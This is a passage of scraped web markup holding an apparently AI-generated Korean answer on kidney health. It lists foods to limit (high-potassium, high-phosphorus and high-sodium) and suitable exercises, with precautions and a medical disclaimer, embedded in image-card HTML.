jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://.ycicare.or.kr:49613/s4_2/56"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저인 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcR5OniJ0BBla2L8qDijRRgz9dvLkWADhu7Zoi-WgkHlwmHV-VVhyfwYsc4FOCpr"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://.ycicare.or.kr:49613/s4_2/56" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQz36Fydjk7s2p-SiOO4jBS5KlvIsNFX-SdqYyFLArpsOAEpa4nnUm4XS_18HiSNSoQYgTNeRS3hMwGJQjFMFuzM6-6Nyj6JMi0um9JBF-JIbI"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.ycicare.or.kr</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저인 식품 </div></div></single-image></response-element></div></ul><p data-sourcepos="17:1-17:13"><strong>신장에 나쁜 음식</strong></p><ul data-sourcepos="19:1-22:0"> <li data-sourcepos="19:1-19:40"><strong>고칼륨 식품:</strong> 바나나, 아보카도, 코코넛, 시금치, 고구마 등</li> <li data-sourcepos="20:1-20:29"><strong>고인 식품:</strong> 우유, 치즈, 콩, 견과류 등</li> <li data-sourcepos="21:1-22:0"><strong>고나트륨 식품:</strong> 가공식품, 인스턴트 식품, 햄, 소시지 등</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///igtalk/221798458301?viewType=pc"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="고나트륨 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcT2cK_GSVNL8kG-rurjejmVDOkfwlQCeF3yD4gXSyBvkcOEcObwPTyuq0XZ_9iX"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///igtalk/221798458301?viewType=pc" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 고나트륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///doctorkidney/223454764039?fromRss=true&trackingCode=rss"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="고칼륨 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTH8N4cO-P0BgTnawCk--X7-df_8W24MfzjQpA4eJofRJqy-tafSYKJc8KEyv6f"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s:///doctorkidney/223454764039?fromRss=true&trackingCode=rss" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 고칼륨 식품 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://kr.made-in-china.com/co_852592a971eca821/product_High-Deacetylation-Food-Grade-Industry-Grade-Chitosan_uonriiginu.html"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="고인 식품 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRy-xWmjdIzgBKf1qY_NUyJqeoj6QNxr1QDU0S6iSes_R3UOsDibT92cnZjwlso"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://kr.made-in-china.com/co_852592a971eca821/product_High-Deacetylation-Food-Grade-Industry-Grade-Chitosan_uonriiginu.html" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSQrqKOb18_5uxoErjV7_3L2GdOGuQ8vkKgAANutvKb1vsO2NyHWxPRv9z18aFsvvGKyBVXU2qIo4X1ntWcQLa3szX32Ez42j0xNogWKeo"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">kr.made-in-china.com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 고인 식품 </div></div></single-image></response-element></div></ul><h3 data-sourcepos="27:1-27:16">신장 건강을 위한 운동</h3><p data-sourcepos="29:1-29:47">적절한 운동은 신장 기능을 향상시키고 전반적인 건강을 증진시키는 데 도움이 됩니다.</p><p data-sourcepos="31:1-31:13"><strong>신장에 좋은 운동</strong></p><ul data-sourcepos="33:1-36:0"> <li data-sourcepos="33:1-33:34"><strong>유산소 운동:</strong> 걷기, 조깅, 수영, 자전거 타기 등</li> <li data-sourcepos="34:1-34:24"><strong>저강도 운동:</strong> 요가, 필라테스 등</li> <li data-sourcepos="35:1-36:0"><strong>스트레칭:</strong> 근육 이완 및 유연성 향상</li> <div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://./watch?v=Dj8FcUvyLF4"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="유산소 운동 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ5rMTb7NSkOGOa-irQQFc8FHjQQ4MiQHse6FGmCM1CXKuAEpBs1W3nq0bYqHXi"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://./watch?v=Dj8FcUvyLF4" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcSg-IUWG8CFYnlyzc2Hu641oPbwT1I4yvlIlgdH-i46sw1qkFzHEP3ZG4a1_MDcfCUfjA0ho3Du2a4FyApH4L1SPtX9i5fxHlQX"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">.</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 유산소 운동 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" s://healthierusd..com/73"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="저강도 운동 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQ-qfYfoagMRFW1gu0hcl5kOTTLFKsqf7nq0lWOe2sha5cEsnu1R0g5lSVhpZ4B"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" s://healthierusd..com/73" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQae1s_P3CKezcA_edCsIV6M67juAKgOIUIHkMD88dLvTFtHN5gIss-xThun4oWeubY4bz_-oHmn7Ew_gn_H2Kknj4vRDIgW4OYKK0glO7cUjt4"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">healthierusd..com</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 저강도 운동 </div></div></single-image></response-element><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c1079493849="" class="ng-star-inserted"><div _ngcontent-ng-c1079493849="" hide-from-message-actions="" class="image-container hide-from-message-actions ng-star-inserted"><div _ngcontent-ng-c1079493849="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c1079493849="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c888701032="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true" ://bakc.net/health/main/index.php?m_cd=109"><span _ngcontent-ng-c888701032="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c1079493849="" class="image loaded" alt="스트레칭 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcTfn4h8G3yO6jrLWIjo-iBfsQR_4b_rP6YYhQeMjo3YW5-N6_YAgwdcUosefkdt"></span><span _ngcontent-ng-c888701032="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c1079493849="" rel="noopener" class="source ng-star-inserted" ://bakc.net/health/main/index.php?m_cd=109" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_8b7599ba74890ab4","c_5e61a858293f2c74",null,"rc_d93dd2f74667ff92",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c1079493849="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn1.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQJGAj9ocvZbMo7EyNjc-2kX2mt7Y1jI8eWzaIlXURkovgYW8zEWvq4ZOItzoPvtSnu_EFWqBXVC-NkbTrc7SMFaA"><span _ngcontent-ng-c1079493849="" class="label ellipsis gds-label-m-alt">bakc.net</span><span _ngcontent-ng-c1079493849="" aria-label=""></span></a></div><div _ngcontent-ng-c1079493849="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 스트레칭 </div></div></single-image></response-element></div></ul><p data-sourcepos="41:1-41:8"><strong>주의사항</strong></p><ul data-sourcepos="43:1-46:0"> <li data-sourcepos="43:1-43:40"><strong>개인의 건강 상태에 맞는 운동 강도와 시간을 선택해야 합니다.</strong></li> <li data-sourcepos="44:1-44:30"><strong>운동 전후 충분한 수분 섭취를 해야 합니다.</strong></li> <li data-sourcepos="45:1-46:0"><strong>갑작스러운 운동 강도 증가는 피해야 합니다.</strong></li> </ul><p data-sourcepos="47:1-47:6"><strong>결론</strong></p><p data-sourcepos="49:1-49:82">신장 건강을 위해서는 균형 잡힌 식단과 꾸준한 운동이 필수입니다. 위에 제시된 정보들을 참고하여 건강한 신장을 유지하기 위해 노력하시기 바랍니다.</p><p data-sourcepos="51:1-51:33"><strong>더 자세한 정보는 의료 전문가와 상담하시기 바랍니다.</strong></p><p data-sourcepos="53:1-53:62"><strong>참고:</strong> 위에 제시된 정보는 일반적인 정보이며, 개인의 건강 상태에 따라 적용 방식이 다를 수 있습니다.</p><p data-sourcepos="55:1-55:182"><strong>Disclaimer:</strong> This information is for general knowledge and informational purposes only, and does not constitute medical advice. Always consult your doctor for any health concerns.</p></div> </div></div>